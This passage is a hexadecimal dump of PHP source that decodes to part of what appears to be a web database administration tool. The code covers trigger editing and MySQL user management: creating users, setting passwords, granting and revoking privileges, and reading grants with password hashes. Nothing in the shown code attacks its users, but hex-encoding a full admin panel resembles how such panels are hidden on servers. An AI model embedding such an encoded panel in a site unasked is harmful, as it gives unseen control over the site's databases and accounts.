72 3E 3C 74 64 3E 22 2E 27 52 65 74 75 72 6E 20 74 79 70 65 27 3B 65 64
69 74 5F 74 79 70 65 28 22 72 65 74 75 72 6E 73 22 2C 24 4C 5B 22 72 65
74 75 72 6E 73 22 5D 2C 24 64 29 3B 7D 65 63 68 6F 27 3C 2F 74 61 62 6C
65 3E 0A 3C 70 3E 27 3B 74 65 78 74 61 72 65 61 28 22 64 65 66 69 6E 69
74 69 6F 6E 22 2C 24 4C 5B 22 64 65 66 69 6E 69 74 69 6F 6E 22 5D 29 3B
65 63 68 6F 27 3C 70 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75
62 6D 69 74 22 20 76 61 6C 75 65 3D 22 53 61 76 65 22 3E 0A 27 3B 69 66
28 24 64 61 21 3D 22 22 29 7B 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79
70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 64 72 6F 70 22 20
76 61 6C 75 65 3D 22 44 72 6F 70 22 27 2C 63 6F 6E 66 69 72 6D 28 29 2C
27 3E 27 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68
69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75
65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65
6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 74 72 69 67 67
65 72 22 5D 29 29 7B 24 61 3D 24 5F 47 45 54 5B 22 74 72 69 67 67 65 72
22 5D 3B 24 45 3D 24 5F 47 45 54 5B 22 6E 61 6D 65 22 5D 3B 24 59 66 3D
74 72 69 67 67 65 72 5F 6F 70 74 69 6F 6E 73 28 29 3B 24 58 66 3D 61 72
72 61 79 28 22 49 4E 53 45 52 54 22 2C 22 55 50 44 41 54 45 22 2C 22 44
45 4C 45 54 45 22 29 3B 24 4C 3D 28 61 72 72 61 79 29 74 72 69 67 67 65
72 28 24 45 29 2B 61 72 72 61 79 28 22 54 72 69 67 67 65 72 22 3D 3E 24
61 2E 22 5F 62 69 22 29 3B 69 66 28 24 5F 50 4F 53 54 29 7B 69 66 28 21
24 6C 26 26 69 6E 5F 61 72 72 61 79 28 24 5F 50 4F 53 54 5B 22 54 69 6D
69 6E 67 22 5D 2C 24 59 66 5B 22 54 69 6D 69 6E 67 22 5D 29 26 26 69 6E
5F 61 72 72 61 79 28 24 5F 50 4F 53 54 5B 22 45 76 65 6E 74 22 5D 2C 24
58 66 29 26 26 69 6E 5F 61 72 72 61 79 28 24 5F 50 4F 53 54 5B 22 54 79
70 65 22 5D 2C 24 59 66 5B 22 54 79 70 65 22 5D 29 29 7B 24 4E 64 3D 22
20 4F 4E 20 22 2E 74 61 62 6C 65 28 24 61 29 3B 24 5F 62 3D 22 44 52 4F
50 20 54 52 49 47 47 45 52 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24
45 29 2E 28 24 78 3D 3D 22 70 67 73 71 6C 22 3F 24 4E 64 3A 22 22 29 3B
24 41 3D 4D 45 2E 22 74 61 62 6C 65 3D 22 2E 75 72 6C 65 6E 63 6F 64 65
28 24 61 29 3B 69 66 28 24 5F 50 4F 53 54 5B 22 64 72 6F 70 22 5D 29 71
75 65 72 79 5F 72 65 64 69 72 65 63 74 28 24 5F 62 2C 24 41 2C 27 54 72
69 67 67 65 72 20 68 61 73 20 62 65 65 6E 20 64 72 6F 70 70 65 64 2E 27
29 3B 65 6C 73 65 7B 69 66 28 24 45 21 3D 22 22 29 71 75 65 72 69 65 73
28 24 5F 62 29 3B 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 24
41 2C 28 24 45 21 3D 22 22 3F 27 54 72 69 67 67 65 72 20 68 61 73 20 62
65 65 6E 20 61 6C 74 65 72 65 64 2E 27 3A 27 54 72 69 67 67 65 72 20 68
61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 2E 27 29 2C 71 75 65 72 69
65 73 28 63 72 65 61 74 65 5F 74 72 69 67 67 65 72 28 24 4E 64 2C 24 5F
50 4F 53 54 29 29 29 3B 69 66 28 24 45 21 3D 22 22 29 71 75 65 72 69 65
73 28 63 72 65 61 74 65 5F 74 72 69 67 67 65 72 28 24 4E 64 2C 24 4C 2B
61 72 72 61 79 28 22 54 79 70 65 22 3D 3E 72 65 73 65 74 28 24 59 66 5B
22 54 79 70 65 22 5D 29 29 29 29 3B 7D 7D 24 4C 3D 24 5F 50 4F 53 54 3B
7D 70 61 67 65 5F 68 65 61 64 65 72 28 28 24 45 21 3D 22 22 3F 27 41 6C
74 65 72 20 74 72 69 67 67 65 72 27 2E 22 3A 20 22 2E 68 28 24 45 29 3A
27 43 72 65 61 74 65 20 74 72 69 67 67 65 72 27 29 2C 24 6C 2C 61 72 72
61 79 28 22 74 61 62 6C 65 22 3D 3E 24 61 29 29 3B 65 63 68 6F 27 0A 3C
66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70
6F 73 74 22 20 69 64 3D 22 66 6F 72 6D 22 3E 0A 3C 74 61 62 6C 65 20 63
65 6C 6C 73 70 61 63 69 6E 67 3D 22 30 22 3E 0A 3C 74 72 3E 3C 74 68 3E
54 69 6D 65 3C 74 64 3E 27 2C 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 54
69 6D 69 6E 67 22 2C 24 59 66 5B 22 54 69 6D 69 6E 67 22 5D 2C 24 4C 5B
22 54 69 6D 69 6E 67 22 5D 2C 22 69 66 20 28 2F 5E 22 2E 70 72 65 67 5F
71 75 6F 74 65 28 24 61 2C 22 2F 22 29 2E 22 5F 5B 62 61 5D 5B 69 75 64
5D 24 2F 2E 74 65 73 74 28 74 68 69 73 2E 66 6F 72 6D 5B 27 54 72 69 67
67 65 72 27 5D 2E 76 61 6C 75 65 29 29 20 74 68 69 73 2E 66 6F 72 6D 5B
27 54 72 69 67 67 65 72 27 5D 2E 76 61 6C 75 65 20 3D 20 27 22 2E 6A 73
5F 65 73 63 61 70 65 28 24 61 29 2E 22 5F 27 20 2B 20 73 65 6C 65 63 74
56 61 6C 75 65 28 74 68 69 73 29 2E 63 68 61 72 41 74 28 30 29 2E 74 6F
4C 6F 77 65 72 43 61 73 65 28 29 20 2B 20 73 65 6C 65 63 74 56 61 6C 75
65 28 74 68 69 73 2E 66 6F 72 6D 5B 27 45 76 65 6E 74 27 5D 29 2E 63 68
61 72 41 74 28 30 29 2E 74 6F 4C 6F 77 65 72 43 61 73 65 28 29 3B 22 29
2C 27 3C 74 72 3E 3C 74 68 3E 45 76 65 6E 74 3C 74 64 3E 27 2C 68 74 6D
6C 5F 73 65 6C 65 63 74 28 22 45 76 65 6E 74 22 2C 24 58 66 2C 24 4C 5B
22 45 76 65 6E 74 22 5D 2C 22 74 68 69 73 2E 66 6F 72 6D 5B 27 54 69 6D
69 6E 67 27 5D 2E 6F 6E 63 68 61 6E 67 65 28 29 3B 22 29 2C 27 3C 74 72
3E 3C 74 68 3E 54 79 70 65 3C 74 64 3E 27 2C 68 74 6D 6C 5F 73 65 6C 65
63 74 28 22 54 79 70 65 22 2C 24 59 66 5B 22 54 79 70 65 22 5D 2C 24 4C
5B 22 54 79 70 65 22 5D 29 2C 27 3C 2F 74 61 62 6C 65 3E 0A 3C 70 3E 4E
61 6D 65 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 54 72 69 67 67 65
72 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 24 4C 5B 22 54 72 69 67 67 65
72 22 5D 29 2C 27 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 20 61
75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C 70 3E
27 3B 74 65 78 74 61 72 65 61 28 22 53 74 61 74 65 6D 65 6E 74 22 2C 24
4C 5B 22 53 74 61 74 65 6D 65 6E 74 22 5D 29 3B 65 63 68 6F 27 3C 70 3E
0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61
6C 75 65 3D 22 53 61 76 65 22 3E 0A 27 3B 69 66 28 24 45 21 3D 22 22 29
7B 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69
74 22 20 6E 61 6D 65 3D 22 64 72 6F 70 22 20 76 61 6C 75 65 3D 22 44 72
6F 70 22 27 2C 63 6F 6E 66 69 72 6D 28 29 2C 27 3E 27 3B 7D 65 63 68 6F
27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61
6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27
22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73 65 69 66 28 69 73 73
65 74 28 24 5F 47 45 54 5B 22 75 73 65 72 22 5D 29 29 7B 24 66 61 3D 24
5F 47 45 54 5B 22 75 73 65 72 22 5D 3B 24 5F 65 3D 61 72 72 61 79 28 22
22 3D 3E 61 72 72 61 79 28 22 41 6C 6C 20 70 72 69 76 69 6C 65 67 65 73
22 3D 3E 22 22 29 29 3B 66 6F 72 65 61 63 68 28 67 65 74 5F 72 6F 77 73
28 22 53 48 4F 57 20 50 52 49 56 49 4C 45 47 45 53 22 29 61 73 24 4C 29
7B 66 6F 72 65 61 63 68 28 65 78 70 6C 6F 64 65 28 22 2C 22 2C 28 24 4C
5B 22 50 72 69 76 69 6C 65 67 65 22 5D 3D 3D 22 47 72 61 6E 74 20 6F 70
74 69 6F 6E 22 3F 22 22 3A 24 4C 5B 22 43 6F 6E 74 65 78 74 22 5D 29 29
61 73 24 62 62 29 24 5F 65 5B 24 62 62 5D 5B 24 4C 5B 22 50 72 69 76 69
6C 65 67 65 22 5D 5D 3D 24 4C 5B 22 43 6F 6D 6D 65 6E 74 22 5D 3B 7D 24
5F 65 5B 22 53 65 72 76 65 72 20 41 64 6D 69 6E 22 5D 2B 3D 24 5F 65 5B
22 46 69 6C 65 20 61 63 63 65 73 73 20 6F 6E 20 73 65 72 76 65 72 22 5D
3B 24 5F 65 5B 22 44 61 74 61 62 61 73 65 73 22 5D 5B 22 43 72 65 61 74
65 20 72 6F 75 74 69 6E 65 22 5D 3D 24 5F 65 5B 22 50 72 6F 63 65 64 75
72 65 73 22 5D 5B 22 43 72 65 61 74 65 20 72 6F 75 74 69 6E 65 22 5D 3B
75 6E 73 65 74 28 24 5F 65 5B 22 50 72 6F 63 65 64 75 72 65 73 22 5D 5B
22 43 72 65 61 74 65 20 72 6F 75 74 69 6E 65 22 5D 29 3B 24 5F 65 5B 22
43 6F 6C 75 6D 6E 73 22 5D 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63
68 28 61 72 72 61 79 28 22 53 65 6C 65 63 74 22 2C 22 49 6E 73 65 72 74
22 2C 22 55 70 64 61 74 65 22 2C 22 52 65 66 65 72 65 6E 63 65 73 22 29
61 73 24 58 29 24 5F 65 5B 22 43 6F 6C 75 6D 6E 73 22 5D 5B 24 58 5D 3D
24 5F 65 5B 22 54 61 62 6C 65 73 22 5D 5B 24 58 5D 3B 75 6E 73 65 74 28
24 5F 65 5B 22 53 65 72 76 65 72 20 41 64 6D 69 6E 22 5D 5B 22 55 73 61
67 65 22 5D 29 3B 66 6F 72 65 61 63 68 28 24 5F 65 5B 22 54 61 62 6C 65
73 22 5D 61 73 24 79 3D 3E 24 58 29 75 6E 73 65 74 28 24 5F 65 5B 22 44
61 74 61 62 61 73 65 73 22 5D 5B 24 79 5D 29 3B 24 42 64 3D 61 72 72 61
79 28 29 3B 69 66 28 24 5F 50 4F 53 54 29 7B 66 6F 72 65 61 63 68 28 24
5F 50 4F 53 54 5B 22 6F 62 6A 65 63 74 73 22 5D 61 73 24 79 3D 3E 24 58
29 24 42 64 5B 24 58 5D 3D 28 61 72 72 61 79 29 24 42 64 5B 24 58 5D 2B
28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 67 72 61 6E 74 73 22 5D 5B
24 79 5D 3B 7D 24 77 63 3D 61 72 72 61 79 28 29 3B 24 4C 64 3D 22 22 3B
69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 68 6F 73 74 22 5D 29 26
26 28 24 4A 3D 24 67 2D 3E 71 75 65 72 79 28 22 53 48 4F 57 20 47 52 41
4E 54 53 20 46 4F 52 20 22 2E 71 28 24 66 61 29 2E 22 40 22 2E 71 28 24
5F 47 45 54 5B 22 68 6F 73 74 22 5D 29 29 29 29 7B 77 68 69 6C 65 28 24
4C 3D 24 4A 2D 3E 66 65 74 63 68 5F 72 6F 77 28 29 29 7B 69 66 28 70 72
65 67 5F 6D 61 74 63 68 28 27 7E 47 52 41 4E 54 20 28 2E 2A 29 20 4F 4E
20 28 2E 2A 29 20 54 4F 20 7E 27 2C 24 4C 5B 30 5D 2C 24 42 29 26 26 70
72 65 67 5F 6D 61 74 63 68 5F 61 6C 6C 28 27 7E 20 2A 28 5B 5E 28 2C 5D
2A 5B 5E 20 2C 28 5D 29 28 20 2A 5C 5C 28 5B 5E 29 5D 2B 5C 5C 29 29 3F
7E 27 2C 24 42 5B 31 5D 2C 24 6C 64 2C 50 52 45 47 5F 53 45 54 5F 4F 52
44 45 52 29 29 7B 66 6F 72 65 61 63 68 28 24 6C 64 0A 61 73 24 58 29 7B
69 66 28 24 58 5B 31 5D 21 3D 22 55 53 41 47 45 22 29 24 77 63 5B 22 24
42 5B 32 5D 24 58 5B 32 5D 22 5D 5B 24 58 5B 31 5D 5D 3D 74 72 75 65 3B
69 66 28 65 72 65 67 28 27 20 57 49 54 48 20 47 52 41 4E 54 20 4F 50 54
49 4F 4E 27 2C 24 4C 5B 30 5D 29 29 24 77 63 5B 22 24 42 5B 32 5D 24 58
5B 32 5D 22 5D 5B 22 47 52 41 4E 54 20 4F 50 54 49 4F 4E 22 5D 3D 74 72
75 65 3B 7D 7D 69 66 28 70 72 65 67 5F 6D 61 74 63 68 28 22 7E 20 49 44
45 4E 54 49 46 49 45 44 20 42 59 20 50 41 53 53 57 4F 52 44 20 27 28 5B
5E 27 5D 2B 29 7E 22 2C 24 4C 5B 30 5D 2C 24 42 29 29 24 4C 64 3D 24 42
5B 31 5D 3B 7D 7D 69 66 28 24 5F 50 4F 53 54 26 26 21 24 6C 29 7B 24 4D
64 3D 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 68 6F 73 74 22 5D 29 3F
71 28 24 66 61 29 2E 22 40 22 2E 71 28 24 5F 47 45 54 5B 22 68 6F 73 74
22 5D 29 3A 22 27 27 22 29 3B 69 66 28 24 5F 50 4F 53 54 5B 22 64 72 6F
70 22 5D 29 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28 22 44 52 4F 50
20 55 53 45 52 20 24 4D 64 22 2C 4D 45 2E 22 70 72 69 76 69 6C 65 67 65
73 3D 22 2C 27 55 73 65 72 20 68 61 73 20 62 65 65 6E 20 64 72 6F 70 70
65 64 2E 27 29 3B 65 6C 73 65 7B 24 44 64 3D 71 28 24 5F 50 4F 53 54 5B
22 75 73 65 72 22 5D 29 2E 22 40 22 2E 71 28 24 5F 50 4F 53 54 5B 22 68
6F 73 74 22 5D 29 3B 24 6D 65 3D 24 5F 50 4F 53 54 5B 22 70 61 73 73 22
5D 3B 69 66 28 24 6D 65 21 3D 27 27 26 26 21 24 5F 50 4F 53 54 5B 22 68
61 73 68 65 64 22 5D 29 7B 24 6D 65 3D 24 67 2D 3E 72 65 73 75 6C 74 28
22 53 45 4C 45 43 54 20 50 41 53 53 57 4F 52 44 28 22 2E 71 28 24 6D 65
29 2E 22 29 22 29 3B 24 6C 3D 21 24 6D 65 3B 7D 24 66 62 3D 66 61 6C 73
65 3B 69 66 28 21 24 6C 29 7B 69 66 28 24 4D 64 21 3D 24 44 64 29 7B 24
66 62 3D 71 75 65 72 69 65 73 28 28 24 67 2D 3E 73 65 72 76 65 72 5F 69
6E 66 6F 3C 35 3F 22 47 52 41 4E 54 20 55 53 41 47 45 20 4F 4E 20 2A 2E
2A 20 54 4F 22 3A 22 43 52 45 41 54 45 20 55 53 45 52 22 29 2E 22 20 24
44 64 20 49 44 45 4E 54 49 46 49 45 44 20 42 59 20 50 41 53 53 57 4F 52
44 20 22 2E 71 28 24 6D 65 29 29 3B 24 6C 3D 21 24 66 62 3B 7D 65 6C 73
65 69 66 28 24 6D 65 21 3D 24 4C 64 29 71 75 65 72 69 65 73 28 22 53 45
54 20 50 41 53 53 57 4F 52 44 20 46 4F 52 20 24 44 64 20 3D 20 22 2E 71
28 24 6D 65 29 29 3B 7D 69 66 28 21 24 6C 29 7B 24 53 65 3D 61 72 72 61
79 28 29 3B 66 6F 72 65 61 63 68 28 24 42 64 0A 61 73 24 47 64 3D 3E 24
72 29 7B 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 67 72 61 6E 74
22 5D 29 29 24 72 3D 61 72 72 61 79 5F 66 69 6C 74 65 72 28 24 72 29 3B
24 72 3D 61 72 72 61 79 5F 6B 65 79 73 28 24 72 29 3B 69 66 28 69 73 73
65 74 28 24 5F 47 45 54 5B 22 67 72 61 6E 74 22 5D 29 29 24 53 65 3D 61
72 72 61 79 5F 64 69 66 66 28 61 72 72 61 79 5F 6B 65 79 73 28 61 72 72
61 79 5F 66 69 6C 74 65 72 28 24 42 64 5B 24 47 64 5D 2C 27 73 74 72 6C
65 6E 27 29 29 2C 24 72 29 3B 65 6C 73 65 69 66 28 24 4D 64 3D 3D 24 44
64 29 7B 24 4A 64 3D 61 72 72 61 79 5F 6B 65 79 73 28 28 61 72 72 61 79
29 24 77 63 5B 24 47 64 5D 29 3B 24 53 65 3D 61 72 72 61 79 5F 64 69 66
66 28 24 4A 64 2C 24 72 29 3B 24 72 3D 61 72 72 61 79 5F 64 69 66 66 28
24 72 2C 24 4A 64 29 3B 75 6E 73 65 74 28 24 77 63 5B 24 47 64 5D 29 3B
7D 69 66 28 70 72 65 67 5F 6D 61 74 63 68 28 27 7E 5E 28 2E 2B 29 5C 5C
73 2A 28 5C 5C 28 2E 2A 5C 5C 29 29 3F 24 7E 55 27 2C 24 47 64 2C 24 42
29 26 26 28 21 67 72 61 6E 74 28 22 52 45 56 4F 4B 45 22 2C 24 53 65 2C
24 42 5B 32 5D 2C 22 20 4F 4E 20 24 42 5B 31 5D 20 46 52 4F 4D 20 24 44
64 22 29 7C 7C 21 67 72 61 6E 74 28 22 47 52 41 4E 54 22 2C 24 72 2C 24
42 5B 32 5D 2C 22 20 4F 4E 20 24 42 5B 31 5D 20 54 4F 20 24 44 64 22 29
29 29 7B 24 6C 3D 74 72 75 65 3B 62 72 65 61 6B 3B 7D 7D 7D 69 66 28 21
24 6C 26 26 69 73 73 65 74 28 24 5F 47 45 54 5B 22 68 6F 73 74 22 5D 29
29 7B 69 66 28 24 4D 64 21 3D 24 44 64 29 71 75 65 72 69 65 73 28 22 44
52 4F 50 20 55 53 45 52 20 24 4D 64 22 29 3B 65 6C 73 65 69 66 28 21 69
73 73 65 74 28 24 5F 47 45 54 5B 22 67 72 61 6E 74 22 5D 29 29 7B 66 6F
72 65 61 63 68 28 24 77 63 0A 61 73 24 47 64 3D 3E 24 53 65 29 7B 69 66
28 70 72 65 67 5F 6D 61 74 63 68 28 27 7E 5E 28 2E 2B 29 28 5C 5C 28 2E
2A 5C 5C 29 29 3F 24 7E 55 27 2C 24 47 64 2C 24 42 29 29 67 72 61 6E 74
28 22 52 45 56 4F 4B 45 22 2C 61 72 72 61 79 5F 6B 65 79 73 28 24 53 65
29 2C 24 42 5B 32 5D 2C 22 20 4F 4E 20 24 42 5B 31 5D 20 46 52 4F 4D 20
24 44 64 22 29 3B 7D 7D 7D 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63
74 28 4D 45 2E 22 70 72 69 76 69 6C 65 67 65 73 3D 22 2C 28 69 73 73 65
74 28 24 5F 47 45 54 5B 22 68 6F 73 74 22 5D 29 3F 27 55 73 65 72 20 68
61 73 20 62 65 65 6E 20 61 6C 74 65 72 65 64 2E 27 3A 27 55 73 65 72 20
68 61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 2E 27 29 2C 21 24 6C 29
3B 69 66 28 24 66 62 29 24 67 2D 3E 71 75 65 72 79 28 22 44 52 4F 50 20
55 53 45 52 20 24 44 64 22 29 3B 7D 7D 70 61 67 65 5F 68 65 61 64 65 72
28 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 68 6F 73 74 22 5D 29 3F 27
55 73 65 72 6E 61 6D 65 27 2E 22 3A 20 22 2E 68 28 22 24 66 61 40 24 5F
47 45 54 5B 68 6F 73 74 5D 22 29 3A 27 43 72 65 61 74 65 20 75 73 65 72
27 29 2C 24 6C 2C 61 72 72 61 79 28 22 70 72 69 76 69 6C 65 67 65 73 22
3D 3E 61 72 72 61 79 28 27 27 2C 27 50 72 69 76 69 6C 65 67 65 73 27 29
29 29 3B 69 66 28 24 5F 50 4F 53 54 29 7B 24 4C 3D 24 5F 50 4F 53 54 3B
24 77 63 3D 24 42 64 3B 7D 65 6C 73 65 7B 24 4C 3D 24 5F 47 45 54 2B 61
72 72 61 79 28 22 68 6F 73 74 22 3D 3E 24 67 2D 3E 72 65 73 75 6C 74 28
22 53 45 4C 45 43 54 20 53 55 42 53 54 52 49 4E 47 5F 49 4E 44 45 58 28
43 55 52 52 45 4E 54 5F 55 53 45 52 2C 20 27 40 27 2C 20 2D 31 29 22 29
29 3B 24 4C 5B 22 70 61 73 73 22 5D 3D 24 4C 64 3B 69 66 28 24 4C 64 21
3D 22 22 29 24 4C 5B 22 68 61 73 68 65 64 22 5D 3D 74 72 75 65 3B 24 77
63 5B 28 44 42 3D 3D 22 22 7C 7C 24 77 63 3F 22 22 3A 69 64 66 5F 65 73
63 61 70 65 28 61 64 64 63 73 6C 61 73 68 65 73 28 44 42 2C 22 25 5F 5C
5C 22 29 29 29 2E 22 2E 2A 22 5D 3D 61 72 72 61 79 28 29 3B 7D 65 63 68
6F 27 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64
3D 22 70 6F 73 74 22 3E 0A 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63
69 6E 67 3D 22 30 22 3E 0A 3C 74 72 3E 3C 74 68 3E 53 65 72 76 65 72 3C
74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 68 6F 73 74 22 20 6D 61
78 6C 65 6E 67 74 68 3D 22 36 30 22 20 76 61 6C 75 65 3D 22 27 2C 68 28
24 4C 5B 22 68 6F 73 74 22 5D 29 2C 27 22 20 61 75 74 6F 63 61 70 69 74
61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C 74 72 3E 3C 74 68 3E 55 73 65
72 6E 61 6D 65 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 75 73
65 72 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 31 36 22 20 76 61 6C 75 65
3D 22 27 2C 68 28 24 4C 5B 22 75 73 65 72 22 5D 29 2C 27 22 20 61 75 74
6F 63 61 70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C 74 72 3E 3C
74 68 3E 50 61 73 73 77 6F 72 64 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61
6D 65 3D 22 70 61 73 73 22 20 69 64 3D 22 70 61 73 73 22 20 76 61 6C 75
65 3D 22 27 2C 68 28 24 4C 5B 22 70 61 73 73 22 5D 29 2C 27 22 3E 0A 27
3B 69 66 28 21 24 4C 5B 22 68 61 73 68 65 64 22 5D 29 7B 65 63 68 6F 27
3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73
63 72 69 70 74 22 3E 74 79 70 65 50 61 73 73 77 6F 72 64 28 64 6F 63 75
6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 5C 27 70 61
73 73 5C 27 29 29 3B 3C 2F 73 63 72 69 70 74 3E 27 3B 7D 65 63 68 6F 0A
63 68 65 63 6B 62 6F 78 28 22 68 61 73 68 65 64 22 2C 31 2C 24 4C 5B 22
68 61 73 68 65 64 22 5D 2C 27 48 61 73 68 65 64 27 2C 22 74 79 70 65 50
61 73 73 77 6F 72 64 28 74 68 69 73 2E 66 6F 72 6D 5B 27 70 61 73 73 27
5D 2C 20 74 68 69 73 2E 63 68 65 63 6B 65 64 29 3B 22 29 2C 27 3C 2F 74
61 62 6C 65 3E 0A 0A 27 3B 65 63 68 6F 22 3C 74 61 62 6C 65 20 63 65 6C
6C 73 70 61 63 69 6E 67 3D 27 30 27 3E 5C 6E 22 2C 22 3C 74 68 65 61 64
3E 3C 74 72 3E 3C 74 68 20 63 6F 6C 73 70 61 6E 3D 27 32 27 3E 3C 61 20
68 72 65 66 3D 27 68 74 74 70 3A 2F 2F 64 65 76 2E 6D 79 73 71 6C 2E 63
6F 6D 2F 64 6F 63 2F 72 65 66 6D 61 6E 2F 22 2E 73 75 62 73 74 72 28 24
67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 2C 30 2C 33 29 2E 22 2F 65 6E
2F 67 72 61 6E 74 2E 68 74 6D 6C 23 70 72 69 76 5F 6C 65 76 65 6C 27 20
74 61 72 67 65 74 3D 27 5F 62 6C 61 6E 6B 27 20 72 65 6C 3D 27 6E 6F 72
65 66 65 72 72 65 72 27 20 63 6C 61 73 73 3D 27 68 65 6C 70 27 3E 22 2E
27 50 72 69 76 69 6C 65 67 65 73 27 2E 22 3C 2F 61 3E 22 3B 24 73 3D 30
3B 66 6F 72 65 61 63 68 28 24 77 63 0A 61 73 24 47 64 3D 3E 24 72 29 7B
65 63 68 6F 27 3C 74 68 3E 27 2E 28 24 47 64 21 3D 22 2A 2E 2A 22 3F 22
3C 69 6E 70 75 74 20 6E 61 6D 65 3D 27 6F 62 6A 65 63 74 73 5B 24 73 5D
27 20 76 61 6C 75 65 3D 27 22 2E 68 28 24 47 64 29 2E 22 27 20 73 69 7A
65 3D 27 31 30 27 20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D 27 6F
66 66 27 3E 22 3A 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 68 69 64 64
65 6E 27 20 6E 61 6D 65 3D 27 6F 62 6A 65 63 74 73 5B 24 73 5D 27 20 76
61 6C 75 65 3D 27 2A 2E 2A 27 20 73 69 7A 65 3D 27 31 30 27 3E 2A 2E 2A
22 29 3B 24 73 2B 2B 3B 7D 65 63 68 6F 22 3C 2F 74 68 65 61 64 3E 5C 6E
22 3B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 22 3D 3E 22 22 2C 22
53 65 72 76 65 72 20 41 64 6D 69 6E 22 3D 3E 27 53 65 72 76 65 72 27 2C
22 44 61 74 61 62 61 73 65 73 22 3D 3E 27 44 61 74 61 62 61 73 65 27 2C
22 54 61 62 6C 65 73 22 3D 3E 27 54 61 62 6C 65 27 2C 22 43 6F 6C 75 6D
6E 73 22 3D 3E 27 43 6F 6C 75 6D 6E 27 2C 22 50 72 6F 63 65 64 75 72 65
73 22 3D 3E 27 52 6F 75 74 69 6E 65 27 2C 29 61 73 24 62 62 3D 3E 24 72
62 29 7B 66 6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 65 5B 24 62
62 5D 61 73 24 7A 65 3D 3E 24 56 61 29 7B 65 63 68 6F 22 3C 74 72 22 2E
6F 64 64 28 29 2E 22 3E 3C 74 64 22 2E 28 24 72 62 3F 22 3E 24 72 62 3C
74 64 22 3A 22 20 63 6F 6C 73 70 61 6E 3D 27 32 27 22 29 2E 27 20 6C 61
6E 67 3D 22 65 6E 22 20 74 69 74 6C 65 3D 22 27 2E 68 28 24 56 61 29 2E
27 22 3E 27 2E 68 28 24 7A 65 29 3B 24 73 3D 30 3B 66 6F 72 65 61 63 68
28 24 77 63 0A 61 73 24 47 64 3D 3E 24 72 29 7B 24 45 3D 22 27 67 72 61
6E 74 73 5B 24 73 5D 5B 22 2E 68 28 73 74 72 74 6F 75 70 70 65 72 28 24
7A 65 29 29 2E 22 5D 27 22 3B 24 59 3D 24 72 5B 73 74 72 74 6F 75 70 70
65 72 28 24 7A 65 29 5D 3B 69 66 28 24 62 62 3D 3D 22 53 65 72 76 65 72
20 41 64 6D 69 6E 22 26 26 24 47 64 21 3D 28 69 73 73 65 74 28 24 77 63
5B 22 2A 2E 2A 22 5D 29 3F 22 2A 2E 2A 22 3A 22 2E 2A 22 29 29 65 63 68
6F 22 3C 74 64 3E 26 6E 62 73 70 3B 22 3B 65 6C 73 65 69 66 28 69 73 73
65 74 28 24 5F 47 45 54 5B 22 67 72 61 6E 74 22 5D 29 29 65 63 68 6F 22
3C 74 64 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 24 45 3E 3C 6F 70 74
69 6F 6E 3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 27 31 27 22 2E 28
24 59 3F 22 20 73 65 6C 65 63 74 65 64 22 3A 22 22 29 2E 22 3E 22 2E 27
47 72 61 6E 74 27 2E 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 27 30
27 22 2E 28 24 59 3D 3D 22 30 22 3F 22 20 73 65 6C 65 63 74 65 64 22 3A
22 22 29 2E 22 3E 22 2E 27 52 65 76 6F 6B 65 27 2E 22 3C 2F 73 65 6C 65
63 74 3E 22 3B 65 6C 73 65 0A 65 63 68 6F 22 3C 74 64 20 61 6C 69 67 6E
